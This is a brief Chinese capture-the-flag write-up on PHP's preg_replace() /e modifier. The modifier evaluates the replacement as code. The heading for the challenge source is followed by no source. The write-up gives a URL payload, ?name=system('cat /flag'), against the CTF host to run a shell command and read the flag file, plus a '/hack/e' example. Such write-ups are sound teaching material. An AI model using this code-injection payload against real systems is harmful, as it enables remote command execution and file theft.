preg_replace()
源码
|
思路
存在函数preg_replace()存在/e选项 ,可以执行系统命令,使用下面的参数即可
http://ctf.seek2.top:32820/?name=system(%27cat%20/flag%27); |
知识点
在 PHP 的 preg_replace() 函数中,/e 是一个修饰符,表示对替换部分进行 eval() 处理,也就是说,替换部分会被当作 PHP 代码执行。
如果传入 system('ls') 作为替换部分,那么 preg_replace() 将会执行 system('ls') 命令,并将结果用于替换匹配到的部分。
$pattern = '/hack/e'; |
在这个例子中,preg_replace() 将会找到 hack,然后执行 system('ls'),并将结果用于替换 hack。





